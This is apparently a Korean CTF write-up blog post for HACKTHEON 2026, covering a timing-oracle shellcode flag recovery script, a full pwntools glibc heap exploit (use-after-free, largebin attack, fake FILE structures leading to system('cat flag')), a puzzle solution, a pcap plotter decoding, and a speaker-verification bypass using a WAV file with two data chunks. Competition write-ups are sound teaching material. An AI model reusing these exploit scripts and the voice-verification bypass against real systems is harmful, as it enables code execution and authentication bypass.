최종적으로 robust_recover.py로 flag를 한 글자씩 복구했고 결과는 다음과 같다.

#!/usr/bin/env python3
import argparse
import math
import socket
import statistics
import string
import time

import solve

HOST = "43.201.41.138"
PORT = 1337
PROMPT = b"Enter your shellcode: "

BIT_SAMPLES = 20
EQ_SAMPLES = 20
DELAY = 0.05
HIGH_MS = 100.0

CHARSET = (
    string.ascii_lowercase
    + string.digits
    + "{}_"
    + string.ascii_uppercase
    + "-!@#$%^&*()+:=,./?"
)

def probe(payload, timeout=2.0):
    try:
        with socket.create_connection((HOST, PORT), timeout=timeout) as sock:
            sock.settimeout(timeout)
            data = b""
            while PROMPT not in data:
                chunk = sock.recv(1)
                if not chunk:
                    break
                data += chunk

            start = time.perf_counter_ns()
            sock.sendall(payload)
            try:
                sock.shutdown(socket.SHUT_WR)
            except OSError:
                pass

            while True:
                try:
                    if not sock.recv(4096):
                        break
                except (ConnectionResetError, socket.timeout):
                    break

            return (time.perf_counter_ns() - start) / 1e6
    except OSError:
        return 0.0

def sample(payload, samples):
    times = []
    for _ in range(samples):
        times.append(probe(payload))
        time.sleep(DELAY)
    return times

def high_count(payload, samples):
    times = sample(payload, samples)
    return sum(t > HIGH_MS for t in times), times

def bit_counts(idx):
    counts = []
    for bit in range(8):
        pos_count, pos_times = high_count(solve.bit_oracle_shellcode(idx, bit), BIT_SAMPLES)
        neg_count, neg_times = high_count(solve.bit_inverse_oracle_shellcode(idx, bit), BIT_SAMPLES)
        counts.append((pos_count, neg_count))
        print(
            f"  bit {bit}: pos={pos_count:02d}/{BIT_SAMPLES} "
            f"neg={neg_count:02d}/{BIT_SAMPLES} "
            f"score={pos_count - neg_count:+03d} "
            f"med=({statistics.median(pos_times):.1f},{statistics.median(neg_times):.1f})",
            flush=True,
        )
    return counts

def log_likelihood(count, true_path):
    # Empirical rates from stub calibration on 43.201.41.138.
    p = 0.40 if true_path else 0.08
    n = BIT_SAMPLES
    return count * math.log(p) + (n - count) * math.log(1.0 - p)

def candidate_score(ch, counts):
    value = ord(ch)
    score = 0.0
    for bit, (pos_count, neg_count) in enumerate(counts):
        expected = (value >> bit) & 1
        score += log_likelihood(pos_count, expected == 1)
        score += log_likelihood(neg_count, expected == 0)
    return score

def bit_filtered_candidates(counts):
    candidates = []
    for ch in CHARSET:
        value = ord(ch)
        ok = True
        for bit, (pos_count, neg_count) in enumerate(counts):
            expected = (value >> bit) & 1
            score = pos_count - neg_count
            if score <= -3 and expected:
                ok = False
                break
            if score >= 3 and not expected:
                ok = False
                break
        if ok:
            candidates.append(ch)

    if candidates:
        return candidates

    # Fallback when a noisy byte violates the strict filter.
    return list(CHARSET)

def verify_candidates(idx, candidates):
    verified = []
    for ch in candidates[:8]:
        pos_count, pos_times = high_count(solve.eq_oracle_shellcode(idx, ord(ch)), EQ_SAMPLES)
        neg_count, neg_times = high_count(solve.neq_oracle_shellcode(idx, ord(ch)), EQ_SAMPLES)
        verified.append((ch, pos_count - neg_count, pos_count, neg_count))
        print(
            f"    eq {ch!r}: pos={pos_count:02d}/{EQ_SAMPLES} "
            f"neg={neg_count:02d}/{EQ_SAMPLES} "
            f"score={pos_count - neg_count:+03d} "
            f"med=({statistics.median(pos_times):.1f},{statistics.median(neg_times):.1f})",
            flush=True,
        )
    verified.sort(key=lambda item: (item[1], item[2]), reverse=True)
    return verified

def recover(prefix="hacktheon2026{Ev3n", max_len=80):
    flag = bytearray(prefix.encode())
    print(f"prefix={flag!r}", flush=True)

    for idx in range(len(flag), max_len):
        print(f"idx={idx:02d}", flush=True)
        counts = bit_counts(idx)
        candidates = bit_filtered_candidates(counts)
        candidates.sort(key=lambda ch: candidate_score(ch, counts), reverse=True)
        print(f"  candidates={[(ch, round(candidate_score(ch, counts), 2)) for ch in candidates[:8]]}", flush=True)

        verified = verify_candidates(idx, candidates)
        ch = verified[0][0] if verified else candidates[0]
        flag.append(ord(ch))
        print(f"[{idx:02d}] {ch!r} -> {bytes(flag)!r} verified={verified[:5]}", flush=True)

        with open("remote_flag_progress.txt", "wb") as fp:
            fp.write(bytes(flag))

        if ch == "}":
            break

    print(bytes(flag).decode(errors="replace"), flush=True)

if __name__ == "__main__":
    parser = argparse.ArgumentParser()
    parser.add_argument("--prefix", default="hacktheon2026{Ev3n")
    parser.add_argument("--max-len", type=int, default=80)
    parser.add_argument("--host", default=HOST)
    parser.add_argument("--port", type=int, default=PORT)
    parser.add_argument("--bit-samples", type=int, default=BIT_SAMPLES)
    parser.add_argument("--eq-samples", type=int, default=EQ_SAMPLES)
    parser.add_argument("--delay", type=float, default=DELAY)
    args = parser.parse_args()

    HOST = args.host
    PORT = args.port
    BIT_SAMPLES = args.bit_samples
    EQ_SAMPLES = args.eq_samples
    DELAY = args.delay
    recover(args.prefix, args.max_len)

old-days

Old Days는 heap note manager 문제였고, 핵심 취약점은 delete 이후 note slot의 포인터와 size를 초기화하지 않는 UAF였다. 그래서 free된 chunk를 다시 read해서 libc/heap 주소를 leak하고, 다시 edit해서 freed chunk metadata를 조작할 수 있었다.

먼저 large chunk들을 guard chunk와 함께 배치한 뒤, 하나를 free하고 다시 큰 chunk를 할당해 bin에 들어가게 만들었다. 이후 UAF read로 freed chunk metadata를 읽어 main_arena 주소를 얻고, 여기서 libc base를 계산했다. heap chunk 배치도 고정되어 있어서 p1, p2 chunk 주소도 같이 계산할 수 있었다.

익스플로잇은 glibc largebin write를 이용했다. free된 large chunk의 bk_nextsize를 조작하면, 다음 large chunk 삽입 과정에서 원하는 libc 전역 변수 위치에 heap pointer를 쓸 수 있다. 여기서는 _IO_list_all과 __printf_function_table을 target으로 사용했다.

_IO_list_all에는 fake FILE 구조체를 가리키는 heap pointer를 쓰고, __printf_function_table에는 nonzero heap pointer를 써서 이후 printf 경로에서 SIGSEGV가 나도록 만들었다. 이 바이너리는 SIGSEGV handler에서 exit(1)을 호출하기 때문에, exit 과정에서 _IO_list_all flush가 발생한다.

fake FILE 구조체는 p1에 만들고, fake wide-data, fake vtable, fake stack, "cat flag" 문자열은 p2에 배치했다. flush 과정에서 _IO_wfile_jumps를 거쳐 조작한 wide vtable로 흐름을 넘기고, 최종적으로 setcontext를 이용해 rdi = "cat flag", rip = system 상태를 만들었다.

결과적으로 exit flush 과정에서 system("cat flag")가 실행되었고 flag를 얻을 수 있었다.

hacktheon2026{o1d-d4y5_g1ibc_exp10it4ti0n}

#!/usr/bin/env python3
from pwn import *
import os
import re
import sys

BIN = args.BIN or os.environ.get("BIN", "./deploy/prob")
LIBC_PATH = args.LIBC or os.environ.get("LIBC", "/lib/x86_64-linux-gnu/libc.so.6")

HOST = args.HOST or os.environ.get("HOST", "127.0.0.1")
PORT = int(args.PORT or os.environ.get("PORT", "31337"))

SSH_USER = args.SSH_USER or os.environ.get("SSH_USER", "ctf")
SSH_PASSWORD = args.PASSWORD or os.environ.get("PASSWORD", "ctf")
TOKEN = args.TOKEN or os.environ.get("TOKEN", "")

if args.DEBUG:
    context.log_level = "debug"

context.binary = elf = ELF(BIN, checksec=False)
context.terminal = ["tmux", "splitw", "-h"]

libc = ELF(LIBC_PATH, checksec=False)

P1_REQ = 0x428
GUARD_REQ = 0x18
P2_REQ = 0x418
SORT_REQ = 0x438
TAKE_P2_REQ = 0x408

# Ubuntu 24.04 libc from Dockerfile.inner's pinned base image:
# ubuntu:24.04@sha256:72297848456d5d37d1262630108ab308d3e9ec7ed1c3286a32fe09856619a782
# libc build-id: 6d64b17fbac799e68da7ebd9985ddf9b5cb375e6.
SYSTEM_OFF = 0x58740
SETCONTEXT_OFF = 0x4a950
EXIT_OFF = 0x47b90
UNSORTED_FD_OFF = 0x203f10
IO_LIST_ALL_OFF = 0x2044c0
IO_WFILE_JUMPS_OFF = 0x202228
PRINTF_FUNCTION_TABLE_OFF = 0x205660

note_sizes = {}

gdbscript = """
set pagination off
handle SIGSEGV nostop noprint pass
continue
"""

def request2size(req):
    size = (req + 8 + 0xf) & ~0xf
    return max(size, 0x20)

def libc_addr(name, fallback_off=None):
    if name in libc.symbols:
        return libc.sym[name]
    if fallback_off is None:
        raise KeyError(name)
    return libc.address + fallback_off

def start():
    if args.SSH:
        if not TOKEN:
            log.failure("SSH instancer mode requires TOKEN=<ctfd_api_token>")
            sys.exit(1)

        if args.PWNSSH:
            log.info(f"using pwntools SSH instancer {SSH_USER}@{HOST}:{PORT}")
            tube = ssh(
                host=HOST,
                port=PORT,
                user=SSH_USER,
                password=SSH_PASSWORD,
            ).shell()
        else:
            log.info(f"using OpenSSH instancer {SSH_USER}@{HOST}:{PORT}")
            argv = [
                "ssh",
                "-tt",
                "-e",
                "none",
                "-o",
                "StrictHostKeyChecking=no",
                "-o",
                "UserKnownHostsFile=/dev/null",
                "-o",
                "PreferredAuthentications=password",
                "-o",
                "PubkeyAuthentication=no",
                "-p",
                str(PORT),
                f"{SSH_USER}@{HOST}",
            ]
            tube = process(argv, stdin=PTY, stdout=PTY, stderr=STDOUT)

            while True:
                got = tube.recvregex(
                    rb"(yes/no|password:|Enter your CTFd API Token: )",
                    timeout=20,
                )
                if b"yes/no" in got:
                    tube.sendline(b"yes")
                    continue
                if b"password:" in got:
                    tube.sendline(SSH_PASSWORD.encode())
                    continue
                if b"Enter your CTFd API Token: " in got:
                    break

        log.info("waiting for CTFd token prompt")
        if args.PWNSSH:
            token_prompt = tube.recvuntil(b"Enter your CTFd API Token: ", timeout=15)
            if b"Enter your CTFd API Token: " not in token_prompt:
                log.failure("token prompt was not received; rerun with DEBUG=1 to inspect SSH output")
                log.info(repr(token_prompt))
                sys.exit(1)

        tube.sendline(TOKEN.encode())
        log.info("token sent; waiting for container shell prompt")
        banner = tube.recvuntil(b"$ ", timeout=20)
        if b"$ " not in banner:
            log.warning("shell prompt was not seen; sending target command anyway")
        elif args.DEBUG:
            log.info(banner.decode(errors="replace"))

        log.info("starting ./prob inside the spawned container")
        tube.sendline(b"stty raw -echo -ixon -ixoff; echo __OLD_DAYS_START__; exec ./prob")
        return tube

    if args.REMOTE:
        if PORT == 1338:
            log.failure("port 1338 is the SSH instancer, not a raw TCP challenge service; use SSH=1 TOKEN=...")
            sys.exit(1)
        return remote(HOST, PORT)

    argv = [elf.path]
    cwd = os.path.dirname(os.path.abspath(elf.path)) or "."
    if args.GDB:
        return gdb.debug(argv, gdbscript=gdbscript, cwd=cwd)
    return process(argv, cwd=cwd)

def choose(io, menu_id):
    log.debug(f"waiting for menu to choose {menu_id}")
    got = io.recvuntil(b"Choice: ", timeout=10)
    if b"Choice: " not in got:
        log.failure("did not receive menu prompt; use DEBUG=1 to see the current protocol state")
        log.info(repr(got))
        sys.exit(1)
    io.sendline(str(menu_id).encode())

def create(io, idx, size, data, wait=True):
    assert len(data) <= size
    note_sizes[idx] = size
    choose(io, 1)
    io.recvuntil(b"Index")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Size")
    io.sendline(str(size).encode())
    io.recvuntil(b"Content:")
    io.send(data)
    if wait:
        io.recvuntil(b"Note created", timeout=3)

def read_note(io, idx):
    choose(io, 2)
    io.recvuntil(b"Index")
    io.sendline(str(idx).encode())
    io.recvregex(rb"(Note content:|Note\[[0-6]\]: )")
    data = io.recvuntil(b"\n=== Note Manager ===", drop=True)
    if data.startswith(b"\n"):
        data = data[1:]
    return data

def edit(io, idx, data):
    size = note_sizes[idx]
    assert len(data) <= size
    choose(io, 3)
    io.recvuntil(b"Index")
    io.sendline(str(idx).encode())
    io.recvuntil(b"New content:")
    io.send(data)
    io.recvuntil(b"Note edited", timeout=3)

def delete(io, idx):
    choose(io, 4)
    io.recvuntil(b"Index")
    io.sendline(str(idx).encode())
    io.recvuntil(b"Note deleted", timeout=3)

def qword(data, off):
    return u64(data[off:off + 8].ljust(8, b"\x00"))

def build_p2_payload(p2_meta, p2_hdr, system, setcontext, exit_addr):
    p2 = bytearray(b"\x00" * TAKE_P2_REQ)
    p2[0:0x10] = p2_meta[0:0x10]

    wide = p2_hdr + 0x208
    wvt = p2_hdr + 0x380
    cmd = p2_hdr + 0x300

    p2[0x1f8:0x200] = p64(exit_addr)
    p2[0x210:0x218] = p64(0)
    p2[0x228:0x230] = p64(0)
    p2[0x2d8:0x2e0] = p64(wvt)
    p2[0x2f0:0x2f9] = b"cat flag\x00"
    p2[0x3d8:0x3e0] = p64(setcontext)

    log.info(f"fake wide_data = {wide:#x}")
    log.info(f"fake wide vtable = {wvt:#x}")
    log.info(f"command string = {cmd:#x}")
    return bytes(p2), wide, cmd

def build_p1_payload(p1_meta, p1_hdr, cmd, wide, system, io_wfile_jumps, printf_function_table):
    p1 = bytearray(b"\x00" * P1_REQ)

    fd = qword(p1_meta, 0)
    bk = qword(p1_meta, 8)
    fd_nextsize = qword(p1_meta, 0x10)

    p1[0x00:0x08] = p64(fd)
    p1[0x08:0x10] = p64(bk)
    p1[0x10:0x18] = p64(fd_nextsize)
    p1[0x18:0x20] = p64(printf_function_table - 0x20)

    lock = p1_hdr + 0x360
    fenv = p1_hdr + 0x340

    p1[0x58:0x60] = p64(cmd)
    p1[0x78:0x80] = p64(lock)
    p1[0x90:0x98] = p64(wide)
    p1[0x98:0xa0] = p64(system)
    p1[0xc8:0xd0] = p64(io_wfile_jumps)
    p1[0xd0:0xd8] = p64(fenv)
    p1[0x1b0:0x1b4] = p32(0x1f80)

    log.info(f"fake FILE lock = {lock:#x}")
    log.info(f"fake fenv = {fenv:#x}")
    return bytes(p1)

def main():
    io = start()

    create(io, 0, P1_REQ, b"A")
    create(io, 1, GUARD_REQ, b"B")
    create(io, 2, P2_REQ, b"C")
    create(io, 3, GUARD_REQ, b"D")

    delete(io, 0)
    create(io, 4, SORT_REQ, b"E")

    p1_meta = read_note(io, 0)
    main_arena_ptr = qword(p1_meta, 0)
    p1_hdr = qword(p1_meta, 0x10)
    p2_hdr = p1_hdr + request2size(P1_REQ) + request2size(GUARD_REQ)

    libc.address = main_arena_ptr - UNSORTED_FD_OFF
    log.info(f"main_arena leak = {main_arena_ptr:#x}")
    log.info(f"libc base = {libc.address:#x}")
    log.info(f"p1 chunk header = {p1_hdr:#x}")
    log.info(f"p2 chunk header = {p2_hdr:#x}")

    if libc.address & 0xfff:
        log.failure("libc base is not page aligned")
        io.close()
        return
    if p1_hdr == 0 or p1_hdr & 0xf:
        log.failure("p1 header leak failed")
        io.close()
        return

    system = libc.address + SYSTEM_OFF
    setcontext = libc.address + SETCONTEXT_OFF
    exit_addr = libc.address + EXIT_OFF
    io_list_all = libc.address + IO_LIST_ALL_OFF
    io_wfile_jumps = libc.address + IO_WFILE_JUMPS_OFF
    printf_function_table = libc.address + PRINTF_FUNCTION_TABLE_OFF

    log.info(f"system = {system:#x}")
    log.info(f"setcontext = {setcontext:#x}")
    log.info(f"exit = {exit_addr:#x}")
    log.info(f"_IO_list_all = {io_list_all:#x}")
    log.info(f"_IO_wfile_jumps = {io_wfile_jumps:#x}")
    log.info(f"__printf_function_table = {printf_function_table:#x}")

    first = bytearray(b"\x00" * P1_REQ)
    first[0x00:0x08] = p1_meta[0x00:0x08]
    first[0x08:0x10] = p1_meta[0x08:0x10]
    first[0x10:0x18] = p1_meta[0x10:0x18]
    first[0x18:0x20] = p64(io_list_all - 0x20)
    edit(io, 0, bytes(first))

    delete(io, 2)
    create(io, 5, TAKE_P2_REQ, b"F")
    delete(io, 5)

    p2_meta = read_note(io, 5)
    p2_payload, wide, cmd = build_p2_payload(
        p2_meta,
        p2_hdr,
        system,
        setcontext,
        exit_addr,
    )
    edit(io, 5, p2_payload)

    p1_meta2 = read_note(io, 0)
    p1_payload = build_p1_payload(
        p1_meta2,
        p1_hdr,
        cmd,
        wide,
        system,
        io_wfile_jumps,
        printf_function_table,
    )
    edit(io, 0, p1_payload)

    create(io, 6, SORT_REQ, b"G", wait=False)

    out = io.recvall(timeout=5)
    if out:
        print(out.decode(errors="replace"), end="")

    flag = re.search(rb"[A-Za-z0-9_/-]+\{[^}\n]+\}", out)
    if flag:
        log.success(f"flag = {flag.group(0).decode(errors='replace')}")
    else:
        log.warning("flag pattern not found in output")

if __name__ == "__main__":
    main()

---

MISC

Cathedral of the Last Candle

이 문제는 원격 퍼즐을 풀어서 모든 칸을 . 상태로 만든 뒤, 오른쪽 아래 제단에서 pray를 입력하면 플래그가 나오는 문제였다. 보드는 5x8 크기이고 각 칸은 mod 3 값으로 표현된다.

. = 0
* = 1
~ = 2

각 칸은 하나의 bonded neighbor를 가지고 있으며, 현재 칸의 값을 a, 연결된 이웃의 값을 b라고 하면 명령은 다음처럼 동작한다.

ring -> [a+b, a+2b]
hush -> [2a+2b, 2a+b]    (mod 3)

목표는 모든 칸을 .으로 만든 뒤, 오른쪽 아래 제단 † 위치에서 pray를 실행하는 것이다. 중요한 점은 제단 †가 숨겨진 일반 칸이 아니라, 값이 항상 1로 고정된 이웃처럼 동작한다는 점이다. 이걸 일반 칸처럼 처리하면 마지막 칸이 0이 되지 않아 pray가 실패한다.

처음에는 보드 전체가 보이지 않기 때문에 먼저 모든 칸을 방문하면서 보드 상태와 각 칸의 bonded neighbor를 알아내야 한다. 이를 위해 5x8 보드를 뱀 모양으로 순회했다.

(0,0) -> (0,7)
       -> (1,7) -> (1,0)
       -> (2,0) -> (2,7)
       -> (3,7) -> (3,0)
       -> (4,0) -> (4,7)

각 칸에 도착하면 현재 보이는 값을 기록하고, ring을 두 번 실행한 뒤 변화한 값을 다시 확인했다. 일반적인 두 칸 사이에서는 ring을 두 번 하면 두 값이 모두 부호만 바뀐다.

(a, b) -> (-a, -b)

따라서 어떤 칸이 같이 바뀌는지를 보면 bonded neighbor를 알 수 있다. 반면 제단과 연결된 칸은 제단 값이 고정된 1이기 때문에, ring 두 번을 하면 해당 칸의 값만 +2 mod 3 변한다. 이 차이를 이용해 제단과 연결된 root 칸도 구분했다.

보드와 연결 관계를 모두 알아낸 뒤에는 그래프를 만들고, 제단과 연결된 칸을 root로 잡았다. 이후 spanning tree 위에서 리프부터 제거하는 방식으로 풀이했다.

먼저 모든 칸을 nonzero 상태로 만든다. 리프 제거를 하려면 값이 0인 칸이 방해가 되기 때문에, 부모 값이 nonzero일 때 자식이 0이면 ring 또는 hush를 이용해 자식만 nonzero가 되도록 조정했다.

그다음 각 edge마다 자식을 제거할 수 있도록 부호를 맞춘다. source가 자식이면 자식 값이 부모의 음수일 때 ring으로 자식을 0으로 만들 수 있고, source가 부모이면 자식 값이 부모와 같을 때 hush로 자식을 0으로 만들 수 있다.

source = child  -> child = -parent 상태에서 ring
source = parent -> child = parent 상태에서 hush

부호가 맞지 않는 경우에는 ring ring을 이용했다. 일반 edge에서 ring을 두 번 하면 연결된 두 칸의 부호가 동시에 바뀌기 때문에, 이 성질을 이용해 전체 트리의 부호 관계를 맞출 수 있다. root의 부호가 안 맞을 때는 제단이 고정값 1이라는 점을 이용해 root 값을 조정했다.

부호 정렬이 끝나면 리프부터 차례대로 제거한다. source가 자식이면 ring, source가 부모이면 hush를 사용하면 자식은 0이 되고 부모 값은 유지된다. 이 과정을 반복하면 마지막에는 root만 남는다.

마지막 root는 제단과 연결되어 있으므로 제단의 고정값 1을 이용해 ring을 적절히 실행해 0으로 만들었다.

root = 1 -> ring ring -> 0
root = 2 -> ring      -> 0

이후 (4,7) 위치로 이동해서 pray를 실행하면 모든 촛불이 꺼졌다는 메시지와 함께 플래그가 출력된다.

plottergeist

제공된 파일은 pcap 트래픽 로그와 wav 마이크 녹음이었다. pcap에는 플로터의 이동 명령만 기록되어 있고, 실제로 펜이 내려가 잉크를 찍은 구간은 직접 표시되어 있지 않았다.

먼저 pcap을 분석해 UDP payload 중 첫 바이트가 0xa1이고 길이가 10바이트인 데이터를 모션 명령으로 확인했다. 구조는 다음과 같았다.

[OP][SQ][DT][AM][BM][END]

여기서 AM, BM은 CoreXY 방식의 두 모터 이동량이다. CoreXY 좌표 변환은 다음과 같다.

dx = (AM + BM) / 2
dy = (AM - BM) / 2

이 값을 누적하면 플로터의 전체 이동 경로를 복원할 수 있다.

하지만 전체 이동 중 실제로 잉크가 찍힌 구간을 구분해야 했다. 이를 위해 bench_mic.wav를 분석했고, 이동 타입인 DT 값에 따라 소리 패턴이 다르게 나타나는 것을 확인했다. 그 결과 DT == 4인 이동에서만 펜이 내려가 실제로 선이 그어진 것으로 판단했다.

따라서 모든 이동을 CoreXY 방식으로 좌표 변환한 뒤, DT == 4인 구간만 렌더링했다. 플로터가 그린 문자열이 복원되었다.

import struct,zlib

pcap="plottergeist(1).pcap"

data=open(pcap,"rb").read()
o=24
cmds=[]

while o+16<=len(data):
    ts_sec,ts_usec,inc,orig=struct.unpack("<IIII",data[o:o+16])
    o+=16
    pkt=data[o:o+inc]
    o+=inc
    if len(pkt)<42 or pkt[23]!=17:
        continue
    ihl=(pkt[14]&0xf)*4
    us=14+ihl
    ulen=int.from_bytes(pkt[us+4:us+6],"big")
    pay=pkt[us+8:us+ulen]
    if len(pay)==10 and pay[0]==0xa1:
        sq=int.from_bytes(pay[1:3],"big")
        dt=int.from_bytes(pay[3:5],"big")
        am=int.from_bytes(pay[5:7],"big",signed=True)
        bm=int.from_bytes(pay[7:9],"big",signed=True)
        cmds.append((sq,dt,am,bm))

x=y=0
segs=[]

for sq,dt,am,bm in cmds:
    dx=(am+bm)/2
    dy=(am-bm)/2
    x2=x+dx
    y2=y+dy
    if dt==4:
        segs.append((x,y,x2,y2))
    x,y=x2,y2

hacktheon2026{the_plotter_reveals_its_secret_through_sound}

---

AI

Voice Over

/api/challenge에서 token과 target sentence를 받고, /api/verify에 wav 파일을 업로드하면 서버가 speaker_similarity >= 0.8, text_similarity >= 0.8인지 검사했다.

제공된 sample_001.wav부터 sample_005.wav를 그대로 제출해보면 화자 유사도는 0.95 이상으로 높았지만, 문장이 다르기 때문에 text similarity가 낮았다. 반대로 로컬 TTS로 target sentence를 읽게 만든 wav는 text similarity는 1.0에 가깝게 나왔지만 speaker similarity가 낮았다.

즉 샘플 음성은 화자 검증을 통과하고, TTS 음성은 텍스트 검증을 통과했다. 그래서 두 검증기가 같은 wav 파일을 같은 방식으로 읽는지 확인하기 위해 RIFF WAV 안에 data 청크를 두 개 넣은 파일을 만들었다.

테스트 결과, 첫 번째 data 청크에는 샘플 음성을 넣고 두 번째 data 청크에는 TTS 음성을 넣었을 때 성공했다. 화자 검증기는 첫 번째 data 청크를 사용했고, STT 기반 텍스트 검증기는 두 번째 data 청크를 사용한 것이다.

익스플로잇 과정은 간단하다. 먼저 /api/challenge에서 target sentence와 token을 받고, macOS say로 target sentence를 읽는 TTS wav를 만든다. 그 다음 제공된 샘플 wav의 PCM 데이터를 첫 번째 data 청크에 넣고, TTS PCM 데이터를 두 번째 data 청크에 넣은 비정상 wav를 만든다. 이 파일을 /api/verify에 업로드하면 화자 검증은 샘플 음성으로 통과하고, 텍스트 검증은 TTS 음성으로 통과한다.

최종적으로 서버 응답에서 flag를 얻었다.

hacktheon2026{b7d30e21e4106a6ca4d451a218f15a97}

import struct
import subprocess
import wave
import requests
BASE = "http://3.37.31.209:8000"
SAMPLE = "sample_001.wav"
def read_pcm(path):
    with wave.open(path, "rb") as w:
        return w.getnchannels(), w.getsampwidth(), w.getframerate(), w.readframes(w.getnframes())
chal = requests.get(f"{BASE}/api/challenge").json()
token = chal["token"]
sentence = chal["target_sentence"]
subprocess.run(["say", "-v", "Kathy", "-o", "tts.aiff", sentence], check=True)
subprocess.run(["afconvert", "-f", "WAVE", "-d", "LEI16@16000", "-c", "1", "tts.aiff", "tts.wav"], check=True)
ch, sw, fr, ref = read_pcm(SAMPLE)
_, _, _, tts = read_pcm("tts.wav")
fmt = struct.pack("<HHIIHH", 1, ch, fr, fr * ch * sw, ch * sw, sw * 8)
body = b"".join([
    b"fmt " + struct.pack("<I", len(fmt)) + fmt,
    b"data" + struct.pack("<I", len(ref)) + ref,
    b"data" + struct.pack("<I", len(tts)) + tts,
])
with open("exploit.wav", "wb") as f:
    f.write(b"RIFF" + struct.pack("<I", 4 + len(body)) + b"WAVE" + body)
with open("exploit.wav", "rb") as f:
    res = requests.post(
        f"{BASE}/api/verify",
        files={"audio": ("exploit.wav", f, "audio/wav")},
        data={"token": token},
    )
print(res.text)

---

후기

요즘 블로그를 소홀히 했습니다.. 본가는 서울이지만 학교가 대구다보니 첫 대학교 시험 준비도 하며 CTF 본선으로 인해 곧 루마니아로 비행기를 타고 떠납니다(블로그 올릴 예정) 다음 글은 해외 여행 + ctf 후기를 써보겠습니다. 감사합니다.